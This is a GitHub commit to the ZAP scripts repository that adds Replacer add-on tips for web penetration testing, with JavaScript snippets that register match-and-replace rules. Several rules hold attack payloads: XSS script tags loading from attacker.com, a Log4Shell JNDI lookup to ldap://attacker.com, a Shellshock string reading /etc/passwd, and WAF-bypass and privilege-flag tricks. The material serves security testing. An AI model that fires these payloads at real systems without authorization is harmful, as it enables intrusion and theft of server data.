Skip to content

Commit 64575a8

Browse files
thc202thc202
authored
Merge pull request #355 from kingthorin/tips-part2
Update other/tips - part 2
2 parents 557a449 + 8ef4ad8 commit 64575a8

File tree

4 files changed

+263
-1
lines changed

4 files changed

+263
-1
lines changed

‎other/README.md‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# Other
2+
3+
This section exists to hold content that doesn't fall into one of the actual/normal script types.

‎other/tips/README.md‎

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Tips
2+
3+
This community Tips (and Tricks) section exists for people to share their ideas and usage tips for ZAP.
4+
5+
Please ensure your file is placed in an appropriate folder structure (ex: based on add-on name and topic).
6+
7+
More specifically the first content in this area, is structured as:
8+
9+
```dos
10+
tips
11+
│ README.md
12+
└───replacer
13+
└───match-and-replace
14+
│ README.md
15+
└───images
16+
└───bypass-waf.png
17+
emulate-ios.png
18+
false-true-admin.png
19+
...
20+
```

‎other/tips/replacer/README.md‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# Replacer
2+
3+
This section exists to hold content related to the [Replacer](https://www.zaproxy.org/docs/desktop/addons/replacer/) add-on.

‎other/tips/replacer/match-and-replace/README.md‎

Lines changed: 237 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,9 @@
22

33
Useful Match and Replace ZAP rules.
44

5-
Inspired by: https://github.com/daffainfo/match-replace-burp
5+
Inspired by: <https://github.com/daffainfo/match-replace-burp>
6+
7+
**Note**: Where applicable each tip is accompanied by an expandable section, that contains a standalone JavaScript code snippet which adds the relevant Match-and-Replace rule in a disabled state. You'll need to go into Replacer's options to enable and use them. (Click the triangle/control to expand them.)
68

79
## Finding hidden buttons, forms, and other UI elements
810

@@ -22,14 +24,68 @@ In ZAP these can be Revealed with standard functionality: <https://www.zaproxy.o
2224

2325
![](images/show-hidden-1.png)
2426

27+
<details>
28+
<summary>Show Hidden UI Elements</summary>
29+
30+
```js
31+
// This script adds a Replacer rule
32+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
33+
34+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
35+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
36+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
37+
38+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
39+
var newRule = new replacerRule("Show hidden UI elements", "", matchType.RESP_BODY_STR, "hidden", false, "hizzen", null, false, false);
40+
extReplacer.getParams().addRule(newRule);
41+
```
42+
43+
</details>
44+
2545
- Show display:none UI
2646

2747
![](images/show-hidden-2.png)
2848

49+
<details>
50+
<summary>Show display:none UI Elements</summary>
51+
52+
```js
53+
// This script adds a Replacer rule
54+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
55+
56+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
57+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
58+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
59+
60+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
61+
var newRule = new replacerRule("Show display:hidden UI elements", "", matchType.RESP_BODY_STR, "display:none", false, "display:n0ne", null, false, false);
62+
extReplacer.getParams().addRule(newRule);
63+
```
64+
65+
</details>
66+
2967
- Change disable to enable
3068

3169
![](images/show-hidden-3.png)
3270

71+
<details>
72+
<summary>Change disable to enable</summary>
73+
74+
```js
75+
// This script adds a Replacer rule
76+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
77+
78+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
79+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
80+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
81+
82+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
83+
var newRule = new replacerRule("Change disable to enable", "", matchType.RESP_BODY_STR, "disable", false, "enable", null, false, false);
84+
extReplacer.getParams().addRule(newRule);
85+
```
86+
87+
</details>
88+
3389
## Changing false to true
3490

3591
Sometimes it is possible to un-hide or re-enable functionality or UI components by simply changing `false` to `true`.
@@ -39,10 +95,46 @@ Here are some example scenarios:
3995

4096
![](images/false-true-admin.png)
4197

98+
<details>
99+
<summary>Change user role to admin</summary>
100+
101+
```js
102+
// This script adds a Replacer rule
103+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
104+
105+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
106+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
107+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
108+
109+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
110+
var newRule = new replacerRule("Change user role to admin", "", matchType.RESP_BODY_STR, "admin: false", false, "admin: true", null, false, false);
111+
extReplacer.getParams().addRule(newRule);
112+
```
113+
114+
</details>
115+
42116
- Set email verified
43117

44118
![](images/false-true-email.png)
45119

120+
<details>
121+
<summary>Set email verified</summary>
122+
123+
```js
124+
// This script adds a Replacer rule
125+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
126+
127+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
128+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
129+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
130+
131+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
132+
var newRule = new replacerRule("Set email verified", "", matchType.RESP_BODY_STR, "email_verify: false", false, "email_verify: true", null, false, false);
133+
extReplacer.getParams().addRule(newRule);
134+
```
135+
136+
</details>
137+
46138
## Bypass WAF
47139

48140
Bypassing WAF by adding some request headers.
@@ -51,6 +143,24 @@ Bypassing WAF by adding some request headers.
51143

52144
![](images/bypass-waf.png)
53145

146+
<details>
147+
<summary>Bypass WAF</summary>
148+
149+
```js
150+
// This script adds a Replacer rule
151+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
152+
153+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
154+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
155+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
156+
157+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
158+
var newRule = new replacerRule("Bypass WAF", "", matchType.REQ_HEADER, "X-Forwarded-Host", false, "127.0.0.1", null, false, false);
159+
extReplacer.getParams().addRule(newRule);
160+
```
161+
162+
</details>
163+
54164
Other request headers/values which may assist in bypassing WAFs include (but are not limited to):
55165

56166
```text
@@ -81,25 +191,97 @@ For example changing a known UUID to another value:
81191

82192
![](images/finding-idor.png)
83193

194+
<details>
195+
<summary>Finding IDOR</summary>
196+
197+
```js
198+
// This script adds a Replacer rule
199+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
200+
201+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
202+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
203+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
204+
205+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
206+
var newRule = new replacerRule("Finding IDOR", "", matchType.REQ_BODY_STR, "9364e9f8-7080-4852-b2ff-d21e2acee6", false, "d58f540d-bd7b-4b5c-ba2a-f82bbc1241d8", null, false, false);
207+
extReplacer.getParams().addRule(newRule);
208+
```
209+
210+
</details>
211+
84212
## Finding XSS
85213

86214
- Finding XSS on `Referer`
87215

88216
![](images/finding-xss-referer.png)
89217

218+
<details>
219+
<summary>Finding XSS in Referer</summary>
220+
221+
```js
222+
// This script adds a Replacer rule
223+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
224+
225+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
226+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
227+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
228+
229+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
230+
var newRule = new replacerRule("Finding XSS in Referer", "", matchType.REQ_HEADER, "Referer", false, "\"><script src=https://attacker.com></script>", null, false, false);
231+
extReplacer.getParams().addRule(newRule);
232+
```
233+
234+
</details>
235+
90236
- Automatically replace user input with an XSS payload
91237

92238
![](images/finding-xss-user.png)
93239

94240
So by just inputting the string `xss_payload` on the website it will be immediately replaced with `"><script src=https://attacker.com></script>`.
95241
Change the XSS payload as you see fit.
96242

243+
<details>
244+
<summary>Easily replace XSS payload</summary>
245+
246+
```js
247+
// This script adds a Replacer rule
248+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
249+
250+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
251+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
252+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
253+
254+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
255+
var newRule = new replacerRule("Easily replace XSS payload", "", matchType.REQ_BODY_STR, "xss_payload", false, "\"><script src=https://attacker.com></script>", null, false, false);
256+
extReplacer.getParams().addRule(newRule);
257+
```
258+
259+
</details>
260+
97261
## Misc
98262

99263
- Help companies to identify your traffic and separate it from malicious traffic by adding a custom header
100264

101265
![](images/hackerone-header.png)
102266

267+
<details>
268+
<summary>Add hackerone header</summary>
269+
270+
```js
271+
// This script adds a Replacer rule
272+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
273+
274+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
275+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
276+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
277+
278+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
279+
var newRule = new replacerRule("Add hackerone header", "", matchType.REQ_HEADER, "X-Header-Hackerone", false, "YourHackeroneUserName", null, false, false);
280+
extReplacer.getParams().addRule(newRule);
281+
```
282+
283+
</details>
284+
103285
- Setting the `User-Agent` (UA) or emulating a mobile browser.
104286

105287
In ZAP the User-Agent request header is controlled via Connection options. However, if you wanted to emulate a mobile browser in order to see the mobile UI of a target or perhaps discover some different functionality or behavior. You could change it to a Mobile UA: https://www.zaproxy.org/docs/desktop/addons/network/options/connection/#default-user-agent
@@ -112,10 +294,64 @@ This could also be done with a Replacer rule.
112294

113295
![](images/emulate-ios.png)
114296

297+
<details>
298+
<summary>Emulate iOS</summary>
299+
300+
```js
301+
// This script adds a Replacer rule
302+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
303+
304+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
305+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
306+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
307+
308+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
309+
var newRule = new replacerRule("Emulate iOS", "", matchType.REQ_HEADER, "User-Agent", false, "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1", null, false, false);
310+
extReplacer.getParams().addRule(newRule);
311+
```
312+
313+
</details>
314+
115315
- Finding [CVE-2021-44228](https://github.com/advisories/GHSA-jfh8-c2jp-5v3q)
116316

117317
![](images/log4shell.png)
118318

319+
<details>
320+
<summary>Find CVE-2021-44228</summary>
321+
322+
```js
323+
// This script adds a Replacer rule
324+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
325+
326+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
327+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
328+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
329+
330+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
331+
var newRule = new replacerRule("Replace User-Agent with Log4j Attack", "", matchType.REQ_HEADER, "User-Agent", false, "${jndi:ldap://attacker.com/x}", null, false, false);
332+
extReplacer.getParams().addRule(newRule);
333+
```
334+
335+
</details>
336+
119337
- Replace User-Agent with shellshock attack [CVE-2014-6271](https://github.com/advisories/GHSA-6hfc-grwp-2p9c)
120338

121339
![](images/shellshock.png)
340+
341+
<details>
342+
<summary>Find CVE-2014-6271</summary>
343+
344+
```js
345+
// This script adds a Replacer rule
346+
var extReplacer = control.getExtensionLoader().getExtension("ExtensionReplacer");
347+
348+
var replacerRule = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule");
349+
// Match types: REQ_HEADER, REQ_HEADER_STR, REQ_BODY_STR, RESP_HEADER, RESP_HEADER_STR, RESP_BODY_STR
350+
var matchType = Java.type("org.zaproxy.zap.extension.replacer.ReplacerParamRule.MatchType");
351+
352+
// https://github.com/zaproxy/zap-extensions/blob/e072df8ca4f7aff54d6e2dda98cfd8503810fa2c/addOns/replacer/src/main/java/org/zaproxy/zap/extension/replacer/ReplacerParamRule.java#L93-L107
353+
var newRule = new replacerRule("Replace User-Agent with shellshock attack", "", matchType.REQ_HEADER, "User-Agent", false, "(){:;};/bin/cat /etc/passwd", null, false, false);
354+
extReplacer.getParams().addRule(newRule);
355+
```
356+
357+
</details>

0 commit comments

Comments
 (0)